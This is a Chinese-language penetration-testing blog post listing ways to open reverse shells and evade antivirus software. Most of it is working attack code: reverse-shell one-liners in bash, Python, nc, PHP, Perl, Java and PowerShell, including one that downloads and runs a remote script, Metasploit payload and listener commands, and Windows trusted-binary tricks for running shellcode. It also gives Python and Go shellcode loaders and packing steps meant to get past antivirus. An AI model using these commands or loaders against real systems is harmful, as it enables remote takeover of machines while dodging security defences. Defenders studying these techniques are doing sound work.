<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    反彈Shell的多種方式及Bypass

    VSole2023-01-11 09:57:38

    在我們滲透測試的過程中,最常用的就是基于tcp/udp協議反彈一個shell,也就是反向連接。

    我們先來講一下什么是正向連接和反向連接。

    • 正向連接:我們本機去連接目標機器,比如ssh和mstsc
    • 反向連接:目標機器去連接我們本機

    那么為什么反向連接會比較常用呢

    1. 目標機器處在局域網內,我們正向連不上他
    2. 目標機器是動態IP
    3. 目標機器存在防火墻

    然后說一下我的實驗環境

    虛擬機采用nat模式

    攻擊機:Kali Linux :172.16.1.130

    受害機:Centos 7 :172.16.1.134

    常見姿勢

    Bash

    bash也是最常見的一種方式

    Kali監聽

    nc -lvvp 4444
    

    Centos運行

    bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
    

    當然你還可以這樣

    exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
    

    這兩個都是bash根據Linux萬物皆文件的思想衍生過來的,具體更多bash的玩法你可以參考

    https://xz.aliyun.com/t/2549
    

    Python

    攻擊機Kali還是監聽

    nc -lvvp 4444
    

    centos執行

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    這個payload是反向連接并且只支持Linux,Windows可以參考離別歌師傅的python windows正向連接后門
    https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    

    NC

    如果目標機器上有nc并且存在-e參數,那么可以建立一個反向shell

    攻擊機監聽

    nc -lvvp 4444
    

    目標機器執行

    nc 172.16.1.130 4444 -t -e /bin/bash
    

    這樣會把目標機的/bin/bash反彈給攻擊機

    但是很多Linux的nc很多都是閹割版的,如果目標機器沒有nc或者沒有-e選項的話,不建議使用nc的方式.

    PHP

    攻擊機監聽

    nc -lvvp 4444
    

    要求目標機器有php然后執行

    php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    或者你直接在web目錄寫入一個php文件,然后瀏覽器去訪問他就行了,這有一個Linux和Windows兩用的腳本

    Java 腳本反彈

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

    Perl 腳本反彈

    perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    Powershell

    目標機器執行

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
    

    Msfvenom 獲取反彈一句話

    msf支持多種反彈方式,比如exe ps php asp aspx甚至是ruby等,我們可以用msfvenom來生成payload,然后在msf中監聽,執行之后就會反彈回來session

    生成payload的方法參考生成msf常用payload,不再贅述

    然后msf監聽

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 172.16.1.130
    set LPORT 4444
    set ExitOnSession false
    exploit -j -z
    

    那么講到這里我們把一句話反彈shell的方式講的差不多了,但是到這里我們又涉及到了一個免殺的問題。

    我們首先需要知道的是目前的反病毒軟件查殺,常見的有三種:

    1. 基于文件特征
    2. 基于文件行為
    3. 基于云查殺 實際也是基于特征數據庫的查殺

    到目前為止,我所知道的免殺姿勢有以下幾種

    1. Windows白名單 俗稱白加黑 也就是用帶有微軟簽名的軟件來運行我們自己的shellcode
    2. payload分離免殺 比如shellcode loader
    3. 換一門偏僻的語言來自己寫反彈shell

    而接下來的幾種只適用于Windows。

    攻擊機:Kali Linux :172.16.1.130

    受害機:Win 7 :172.16.1.135

    Windows白加黑

    白加黑需要的payload可以使用一句話下載姿勢總結 把payload下載到目標機器,這里不再贅述。

    MSBuild

    MSBuild是Microsoft Build Engine的縮寫,代表Microsoft和Visual Studio的新的生成平臺
    MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件
    MSBuild可編譯特定格式的xml文件
    更多基本知識可參照以下鏈接:
    https://msdn.microsoft.com/en-us/library/dd393574.aspx

    意思就是msbuild可以編譯執行csharp代碼。

    在這里我們需要知道的是msbuild的路徑

    加載32位的shellcode需要用32位的msbuild

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    

    加載64位的shellcode需要用64位的msbuild

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    

    我們這里用64位的shellcode和64位的win7來操作。

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
    

    生成shellcode之后我們需要用到一個三好學生師傅的https://github.com/3gstudent/msbuild-inline-task

    我們用的是executes x64 shellcode.xml的模板,把里面45行之后的改為自己的shellcode

    然后msf監聽

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 172.16.1.130
    set LPORT 4444
    set ExitOnSession false
    set autorunscript migrate -n explorer.exe
    exploit -j
    

    在目標機器上運行

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
    

    然后會話上線,某數字衛士無反應,并且正常執行命令

    更多關于msbuild的內容可以參考三好學生師傅的文章


    https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
    

    Installutil.exe&csc.exe

    Installer工具是一個命令行實用程序,允許您通過執行指定程序集中的安裝程序組件來安裝和卸載服務器資源。此工具與System.Configuration.Install命名空間中的類一起使用。
    具體參考:Windows Installer部署(https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120))

    通過msfvenom生成C#的shellcode


    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
    

    下載InstallUtil-Shellcode.cs,將上面生成的shellcode復制到該cs文件中

    https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

    csc編譯InstallUtil-ShellCode.cs


    C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
    

    編譯生成的文件后綴名無所謂exe dll txt都可以,但只能InstallUtil.exe來觸發

    InstallUtil.exe執行 反彈shell


    C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
    參考:https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
    

    Regasm和Regsvcs

    regasm和regsvcs都可以用來反彈shell的,而且方式也一樣

    下載這個cs文件(https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs) ,然后替換你的shellcode


    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
    

    使用sn.exe生成公鑰和私鑰,如果沒有sn命令你可能需要安裝vs


    sn -k key.snk
    

    編譯dll,注意文件的路徑


    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
    

    用這兩者上線


     C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
     C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
    

    或者這樣


    C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
    

    上線成功。

    Mshta

    mshta是在環境變量里的


    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw > shellcode.bin
    cat shellcode.bin |base64 ‐w 0
    

    然后替換這個文件中的shellcode


    https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta
    

    替換' ---------- DO NOT EDIT BELOW HERE -----------上面引號包起來的base64,可以將hta托管出來。


     mshta.exe http://baidu.com/shellcode.hta
    

    在cobalt strike中mshta也是一個很方便的上線功能。

    Msiexec簡介

    Msiexec 是 Windows Installer 的一部分。用于安裝 Windows Installer  安裝包(MSI),一般在運行 Microsoft Update 安裝更新或安裝部分軟件的時候出現,占用內存比較大。并且集成于 Windows  2003,Windows 7 等。

    Msiexec已經被添加到環境變量了。


    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi > shellcode.txt
    

    目標機執行


    msiexec.exe /q /i http://172.16.1.130/shellcode.txt
    

    Wmic

    已經被添加到環境變量

    POC


    wmic os get /FORMAT:"http://example.com/evil.xsl"
    <stylesheet
    xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
    xmlns:user="placeholder"
    version="1.0">
    <output method="text"/>
         <ms:script implements-prefix="user" language="JScript">
         
         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
         ]]> ms:script>
    stylesheet
    >
    參考:利用wmic調用xsl文件的分析與利用(https://3gstudent.github.io/利用wmic調用xsl文件的分析與利用/)
    這里還有一個poc:https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
    

    Rundll32

    Rundll32.exe是指“執行32位的DLL文件”。它的作用是執行DLL文件中的內部函數,功能就是以命令行的方式調用動態鏈接程序庫。已經加入環境變量。


    rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
    

    也可以去執行msf生成的dll


    rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll
    

    在這我們先簡單介紹這幾種,還有compiler.exe odbcconf psexec ftp.exe等等。

    在這里給出參考連接


    micro8前輩:https://micro8.gitbook.io/micro8/contents-1#71-80-ke
    

    Payload分離免殺

    在這里也只介紹兩種分離免殺的姿勢

    shellcode loader

    借助第三方加載器,將shellcode加載到內存中來執行。

    https://github.com/clinicallyinane/shellcode_launcher


    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
    

    靶機執行

    shellcode_launcher.exe -i test.c
    

    msf監聽正常上線

    Csc和InstallUtil

    不再贅述,參考上文白加黑

    偏僻語言

    實際上也不能說偏僻語言,原理是讓殺軟不識別文件的pe頭。我們在這說兩種。

    Pyinstaller

    py版的shellcode模板

    #! /usr/bin/env python
    # encoding:utf-8
    import ctypes
    def execute():
         # Bind shell
         shellcode = bytearray(
         "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
             ...
         "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
         "\x13"
          )
         ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
         ctypes.c_int(len(shellcode)),
         ctypes.c_int(0x3000),
         ctypes.c_int(0x40))
         buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
         ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
         buf,
         ctypes.c_int(len(shellcode)))
         ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
         ctypes.c_int(0),
         ctypes.c_int(ptr),
         ctypes.c_int(0),
         ctypes.c_int(0),
         ctypes.pointer(ctypes.c_int(0)))
         ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
         ctypes.c_int(-1))
    if __name__ == "__main__":
         execute()
    msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py
    

    使用pyinstaller打包

    pyinstaller.py -F --console 1.py
    

    和pyinstaller類似的還有py2exe,不再贅述。

    Go+upx

    package main
    import "C"
    import "unsafe"
    func main() {
         buf := ""
         buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
         ...省略...
         buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
         // at your call site, you can send the shellcode directly to the C
         // function by converting it to a pointer of the correct type.
         shellcode := []byte(buf)
         C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
    }
    

    如果正常編譯體積會很大,建議使用go build -ldflags="-s -w"參數來編譯生成exe,你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

    編譯出來900多kb,在使用upx壓縮一下會降低到200kb左右,也能正常上線。

    shellmeterpreter
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在我們進入機器后,有時我們會在滲透后立即獲得Meterpreter Shellmeterpreter shell是一個我們比較喜歡的shell,因為方便我們后續加載各種模塊,因此,我們希望獲得此Shell而不是Command Shell
    0x01 突破邊界拿下shell周末在家閑著沒事突然就想搞事情了,然后使用Google hack語法輸入批量搜索可能存在上傳點的網站,試了好幾個最后找到一個可利用的上傳點。反彈shell&提權Linux下需要把shell反彈出來以方便我們操作,但是目標主機上既沒有nc也沒有python,查詢相關資料后嘗試了一下利用bash彈shell。在exploit-db中搜索此版本的相關漏洞,經過多次嘗試,發現了下面這個exp來提升權限。一鍵開啟遠程桌面,建立隱藏賬戶,成功連入遠程桌面。
    在此活動檢查流量之后,我們能通過流量檢測工具識別會話期間所有已執行的命令。現在讓我們在初始階段啟動后檢查流量。在 TCP 握手之后,我們觀察到成功的通信正在進行。檢查的流量顯示它在 SSL 握手后立即開始。然而,在這種情況下,我們會留下精心制作或默認證書的痕跡,這些證書也可以進行調查,這可能會導致基礎設施或受到 IDS/IPS 簽名的攻擊。在此示例中,我們將使用Meterpreter 反向 tcp有效負載來測試我們的規避能力。
    DMZ WebInformation GatheringWEB服務器,但是首頁只有一個IIS 7的歡迎界面,所以先看一下端口順便掃個目錄。嘗試對phpmyadmin mysql的root、admin、test賬號做了enumeration,沒什么效果,后面進行端口掃描的時候發現漏了一個端口這個前臺面板看了下可以登陸ftp、mssql、mysql,簡單的先嘗試了幾個弱口令無果。),這個版本注入應該,先注冊用戶然后可以跑出來admin的密碼getshell比較簡單,文件管理器->新建文件即可。DMZ Privilege Escalatioon拿到了webshell考慮彈一個msf meterpreter shell回來。
    第 2 章 shell權限提升,簡稱提權。它用于執行各種網絡交互,包括在枚舉期間抓取 banner 等。但它們默認情況下很少安裝 Socat。模塊與 socat 和 netcat 一樣,提供了用于接收反彈 shell 的功能。雖然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但這不是本文的重點。一般情況下,反向 shell 更容易執行和調試。以下會給出反彈 shell 和 正向 shell 的示例,請注意它們間的區別。這里重要的是我們正在攻擊機上監聽,并收到了來自目標的連接。請注意,這并非特定于 Windows。
    實戰|記一次域滲透
    2022-07-30 22:48:31
    文章沒有使用掃描模塊或者nmap添加代理對內網掃描的過程。msf提供的代理模塊是指,能供其他應用使用的代理。這就是為什么很多文章里寫道,拿到一個shell后,會添加一條路由,再配置socks4a模塊,然后修改proxychains4.conf文件了。其他用proxychains4使用代理的,比如proxychains4 nmap,是通過msf拿到的shell的轉發出去的。
    在大多數情況下,攻擊者可以通過定位域管理員所登錄的服務器,利用漏洞獲取服務器system權限,找到域管理的賬號、進程或是身份驗證令牌,從而獲取域管理員權限。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类